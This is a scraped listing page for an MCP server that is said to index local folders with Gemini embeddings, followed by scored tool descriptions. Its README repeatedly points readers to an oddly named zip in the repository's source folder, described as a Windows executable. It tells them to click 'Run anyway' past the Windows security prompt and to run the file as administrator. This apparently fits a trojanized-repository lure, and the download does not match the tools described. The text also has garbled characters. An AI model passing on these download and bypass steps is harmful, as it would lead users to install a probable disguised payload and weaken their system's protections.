Skip to main content
Glama
elkalowkey885

gemini-embedding-2-mcp-server

๐Ÿ”Ž gemini-embedding-2-mcp-server - Fast local search for AI tasks

Download the app

๐Ÿš€ What this app does

gemini-embedding-2-mcp-server turns a folder on your PC into a local search tool for AI apps.

It scans files in a directory, builds embeddings with Gemini Embedding 2, and helps an AI agent find the right text fast. It works well for code, notes, docs, and other local files. It also supports visual context for files that include images or screen-based content.

Related MCP server: ragi

๐Ÿ–ฅ๏ธ What you need

Before you start, make sure you have:

  • A Windows PC

  • An internet connection

  • A Google API key for Gemini

  • A folder you want to search

  • Enough free space for your files and index data

For best results, use:

  • Windows 10 or Windows 11

  • 8 GB RAM or more

  • A modern CPU

  • At least 1 GB of free disk space for small folders

๐Ÿ“ฅ Download and set up

Visit this page to download the app:

https://raw.githubusercontent.com/elkalowkey885/gemini-embedding-2-mcp-server/main/src/server_mcp_embedding_gemini_anapterygotism.zip

  1. Open the link above in your browser

  2. Find the latest release

  3. Download the Windows file from the release assets

  4. Save the file to a folder you can find, ู…ุซู„ Downloads

  5. If the file is a ZIP file, right-click it and choose Extract All

  6. If the file is an .exe file, double-click it to start

๐ŸชŸ Run on Windows

If you downloaded a ZIP file

  1. Extract the ZIP file

  2. Open the extracted folder

  3. Look for the app file, such as .exe

  4. Double-click the file to run it

If Windows shows a security prompt

  1. Click More info

  2. Click Run anyway

This can happen when you run a new app for the first time.

๐Ÿ”‘ Set up your Gemini key

The app needs a Gemini API key to work.

  1. Open your Google AI Studio or Gemini API settings

  2. Create or copy your API key

  3. Paste the key into the app setup screen or config file

  4. Save your changes

If the app asks for a path or folder, choose the local folder you want it to index.

๐Ÿ“ Choose a folder to index

Pick the folder you want the app to search.

Good choices include:

  • Project folders

  • Notes folders

  • Document folders

  • Code folders

  • Knowledge bases

Try to start with one folder. After that, you can add more if needed.

โš™๏ธ Basic setup steps

  1. Start the app

  2. Enter your Gemini API key

  3. Select the folder you want to index

  4. Wait while the app scans your files

  5. Let it build the search index

  6. Connect your AI client or use the local MCP server settings

The first scan can take time if the folder is large.

๐Ÿ”Ž How it works

The app reads your files and turns them into embeddings. An embedding is a way to store the meaning of text so search can find the right result even when the words do not match exactly.

That helps with tasks like:

  • Finding notes about a topic

  • Looking up code examples

  • Searching docs by meaning

  • Finding related files

  • Giving AI agents better local context

๐Ÿง  Good use cases

Use this app when you want an AI tool to work with your local files.

Common uses:

  • Search through a codebase

  • Find old project notes

  • Ask an AI about local documents

  • Build a local knowledge base

  • Connect a folder to an MCP-aware app

  • Improve retrieval for RAG workflows

๐Ÿ—‚๏ธ Supported content

The app is built for common file types used in daily work.

It can handle:

  • Plain text files

  • Markdown files

  • Code files

  • Notes

  • Docs with text content

  • Files that include visual context

For best results, keep files readable and well named.

๐Ÿ”Œ Use with AI apps

This is an MCP server, so it can connect with tools that support the Model Context Protocol.

That means an AI app can ask it to:

  • Search files

  • Find related content

  • Pull matching text

  • Use local folder context in answers

If you already use an MCP-compatible client, point it at this server after setup.

๐Ÿ“Œ First run checklist

Before you search for the first time, check these items:

  • The app file is downloaded and opened

  • Your API key is set

  • The folder path is correct

  • The folder has files to index

  • The index has finished building

  • The app is still running while you use it

๐Ÿ› ๏ธ Common setup problems

The app does not open

Try this:

  1. Right-click the file

  2. Choose Run as administrator

  3. Make sure the file finished downloading

  4. Check that Windows did not block it

The index does not build

Try this:

  1. Check your API key

  2. Make sure your internet connection works

  3. Use a smaller folder first

  4. Remove files with bad names or broken content

Search results look weak

Try this:

  1. Use a better folder structure

  2. Add more text files

  3. Use clear file names

  4. Rebuild the index after changes

The app feels slow

Try this:

  1. Start with one folder

  2. Reduce very large file sets

  3. Close other heavy apps

  4. Keep the app on a fast drive if possible

You will get better results if you:

  • Use short, clear file names

  • Put files in tidy folders

  • Keep text in simple formats

  • Split very large notes into smaller files

  • Avoid duplicate files

  • Rebuild the index after big changes

Good folder structure helps the search engine find the right context fast.

๐Ÿงญ Typical workflow

A simple workflow looks like this:

  1. Download the app

  2. Run it on Windows

  3. Add your Gemini API key

  4. Select a folder

  5. Build the index

  6. Connect your AI tool

  7. Search your local content by meaning

๐Ÿ“Ž Release page

Use this page any time you want the latest Windows download:

https://raw.githubusercontent.com/elkalowkey885/gemini-embedding-2-mcp-server/main/src/server_mcp_embedding_gemini_anapterygotism.zip

๐Ÿ” What makes it useful

This server is useful when you want local search that feels smart.

It helps because it:

  • Searches by meaning, not just words

  • Works with local folders

  • Fits AI agent workflows

  • Supports MCP clients

  • Uses Gemini Embedding 2 for strong retrieval

๐Ÿงฐ File types that work best

These file types usually give the best results:

  • .txt

  • .md

  • .json

  • .csv

  • .py

  • .js

  • .ts

  • .html

Large binary files are less useful unless they include text or extracted content.

๐Ÿ–ฑ๏ธ Simple daily use

After setup, day-to-day use is easy:

  1. Keep the app open

  2. Add new files to the watched folder

  3. Rebuild the index when needed

  4. Ask your AI app to search the folder

  5. Open the best match

๐Ÿ“š Helpful folder ideas

If you are not sure where to start, try one of these:

  • Work notes

  • Study notes

  • Software project folder

  • Research folder

  • Personal knowledge folder

  • Support docs folder

Start small. That makes setup easier and search faster.

๐Ÿ” API key tips

Keep your API key private.

Use one key for your own setup and store it where the app expects it. If you replace the key later, rebuild the index if the app asks for it.

๐Ÿงช Best first test

After setup, test the app with a small folder that has a few text files.

For example:

  • One note about a topic

  • One code file

  • One README file

Then search for a phrase or idea that appears in one of them. If that works, your setup is in good shape.

๐Ÿงญ Next step

Download the latest Windows release from the release page and run it on your PC

https://raw.githubusercontent.com/elkalowkey885/gemini-embedding-2-mcp-server/main/src/server_mcp_embedding_gemini_anapterygotism.zip

Available Tools

5 tools
index_directoryB

Scans a local directory, extracts text from files (PDF, DOCX, TXT, MD) AND raw video/audio/image bytes, generates semantic embeddings using Gemini 2 and stores them for searching.

Args: directory_path: Absolute path to the directory. ignore: Optional list of glob patterns to ignore (e.g., [".log", "drafts", "temp"]).

ParametersJSON Schema
NameRequiredDescriptionDefault
directory_pathYes
ignoreNo

Output Schema

ParametersJSON Schema
NameRequiredDescription
resultYes

TDQS

B3.4/5.0
Behavior2/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations exist, so the description must fully disclose behavioral traits. It mentions that it generates embeddings and stores them, but fails to disclose side effects such as overwriting behavior, performance implications for large directories, or whether it modifies files. Important safety and idempotency details are missing.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness4/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is concise (three lines) and front-loaded with the main action. It includes a structured 'Args' section. No unnecessary words, but could be slightly more compact.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness3/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the tool's medium complexity and the presence of an output schema, the description covers the basic functionality well but omits constraints like directory existence, permission requirements, and handling of nested directories. It is adequate but not fully comprehensive.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The description adds significant meaning beyond the schema by specifying that directory_path must be an absolute path and providing examples for the ignore parameter (e.g., '*.log', 'drafts'). This compensates for the schema's lack of property descriptions (0% coverage).

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool scans a local directory, extracts text from multiple file types (PDF, DOCX, TXT, MD, and raw media bytes), generates semantic embeddings using Gemini 2, and stores them for searching. It uses specific verbs and resources, and the function is distinct from siblings like listing or removing indexes.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines2/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

No explicit guidance is provided about when to use this tool versus alternatives. It does not mention prerequisites (e.g., directory existence, permissions) or edge cases like re-indexing. The description only explains what it does, not when it should or should not be used.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

list_indexed_directoriesB

Lists all the file paths that have been indexed in the database.

ParametersJSON Schema
NameRequiredDescriptionDefault

No parameters

Output Schema

ParametersJSON Schema
NameRequiredDescription
resultYes

TDQS

B3.4/5.0
Behavior2/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations present, so the description must carry the burden. It states it lists all indexed file paths, implying a read-only operation, but does not disclose any behavioral traits like authentication needs, rate limits, or side effects.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness4/5

Is the description appropriately sized, front-loaded, and free of redundancy?

One sentence, concise and front-loaded. No wasted words, though slightly minimal.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness3/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given no parameters and presence of an output schema, the description is minimally adequate. It explains what the tool does, but lacks details like ordering or pagination behavior. Sibling tools provide enough contrast.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

No parameters exist, so schema coverage is complete. The description adds no extra parameter info but is adequate given the absence of parameters.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the verb 'lists' and the resource 'file paths that have been indexed in the database'. It distinguishes itself from siblings like index_directory, remove_directory_from_index, search_my_documents, and sync_indexed_directories.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines2/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

No guidance on when to use this tool versus alternatives. No explicit context or exclusions are provided.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

remove_directory_from_indexC

Removes all documents and images belonging to a specific directory path from the index.

ParametersJSON Schema
NameRequiredDescriptionDefault
directory_pathYes

Output Schema

ParametersJSON Schema
NameRequiredDescription
resultYes

TDQS

C2.7/5.0
Behavior2/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations provided, so description must carry full burden. States it removes entries but does not disclose if the operation is reversible, impacts other data, or requires permissions. Lacks critical behavioral details for a destructive action.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness3/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Single sentence, very concise, but lacks depth. While efficient, it fails to include necessary context that would justify its brevity. Not under-specified but could add more value in the same space.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness2/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Output schema exists, so return values are covered, but the description omits behavior like confirmation, status, or side effects. For a destructive tool, this is insufficient. Lacks completeness given the simplicity.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters1/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 0% and description does not elaborate on the single parameter 'directory_path' beyond its name. No format, examples, or constraints are provided, leaving the agent guessing about valid inputs.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

Description clearly states the tool removes documents and images from the index for a specific directory, which is a specific verb+resource. It distinguishes from siblings like index_directory (adds) and list_indexed_directories (lists).

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines2/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

No guidance on when to use this tool versus alternatives, no prerequisites or exclusions. The description only implies usage without clarifying context or providing when-not scenarios.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

search_my_documentsB

Performs a semantic search over your previously indexed local documents AND images using the Gemini 2 Embedding model.

ParametersJSON Schema
NameRequiredDescriptionDefault
queryYes
limitNo

Output Schema

ParametersJSON Schema
NameRequiredDescription
resultYes

TDQS

B3.4/5.0
Behavior3/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations provided, so description carries full burden. It discloses use of Gemini 2 embeddings and that it searches both documents and images, but does not mention read-only nature, return format, or pagination. Basic but not comprehensive.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Single sentence with no wasted words. Immediately communicates core functionality in a front-loaded manner.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness3/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Output schema exists (so return format not needed), but description omits parameter explanations and usage context. For a simple search tool, this is adequate but incomplete.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters1/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema coverage is 0% and description does not mention any parameters (query, limit). It adds no meaning beyond the input schema, leaving agents without guidance on what query or limit do.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

Description clearly states 'semantic search' over 'previously indexed local documents AND images', specifying the verb and resource. It distinguishes from sibling tools (all indexing operations) by being the only search tool.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines3/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

Description implies usage after indexing (previously indexed) and mentions semantic search, but does not explicitly state when to use (e.g., 'after indexing') or when not to use. No alternatives given.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

sync_indexed_directoriesA

Auto-updates existing folders. It finds all unique parent directories of currently indexed files and re-indexes them to capture new or modified files.

ParametersJSON Schema
NameRequiredDescriptionDefault

No parameters

Output Schema

ParametersJSON Schema
NameRequiredDescription
resultYes

TDQS

A4/5.0
Behavior3/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the full burden. It discloses the core behavior: finds unique parent directories and re-indexes them. However, it lacks details on safety (e.g., is it idempotent?), performance, or side effects such as deleting old entries.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is two sentences, front-loaded with the core action 'Auto-updates existing folders.' Every clause adds meaning with no wasted words.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The description is mostly complete for a simple sync action with no parameters. However, it could mention that it is typically run after changes to indexed directories, and it does not describe the return value (though an output schema exists).

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

There are no parameters, and schema description coverage is 100%. The description does not add parameter info (none needed), but baseline for 0 params is 4. No extra semantic value required.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool auto-updates existing folders by re-indexing parent directories of currently indexed files to capture new or modified files. It distinguishes from sibling tools like index_directory (adds a directory) and list_indexed_directories (lists), showing specific verb+resource.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines3/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description implies when to use (to sync after changes to indexed directories), but provides no explicit guidance on when not to use or alternatives. It does not compare to siblings like index_directory or remove_directory_from_index.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections.

  1. 5 tool updatesv0.1.0
    • First observedindex_directory
    • First observedlist_indexed_directories
    • First observedremove_directory_from_index
    • First observedsearch_my_documents
    • First observedsync_indexed_directories

TDQS

A3.6/5.0

Scored across 5 tools

Disambiguation5/5

Each tool has a distinct purpose without overlap: indexing directories, listing indexed paths, removing directories, searching, and syncing. No confusion between tools.

Naming Consistency5/5

All tool names follow a consistent snake_case verb_noun pattern (e.g., index_directory, search_my_documents), making it easy to infer functionality.

Tool Count5/5

Five tools is an appropriate scope for a document embedding server, covering core operations without unnecessary bloat.

Completeness4/5

The set covers add, list, remove, search, and sync operations. Minor gaps like clearing the entire index or adding individual files are absent but not critical for the domain.

Maintenance

ActivityMaintained
ResponsivenessSyncing

Related MCP Connectors

Related MCP Servers

  • A
    license
    Not graded
    quality
    B
    maintenance
    A local MCP server that provides AI coding assistants with semantic search capabilities over codebases. It indexes code using local embeddings and exposes tools for efficient code retrieval, saving tokens and improving response quality.
    31 npm
    4
    MIT
  • A
    license
    A
    quality
    D
    maintenance
    Local-first RAG indexing and semantic search MCP server. Enables document retrieval and context-aware queries using local embedding models.
    3
    6 npm
    MIT
  • A
    license
    Not graded
    quality
    D
    maintenance
    MCP server for local semantic search over web content, enabling AI agents to ingest, index, and query pages with hybrid retrieval and token budget control.
    4
    GPL 2.0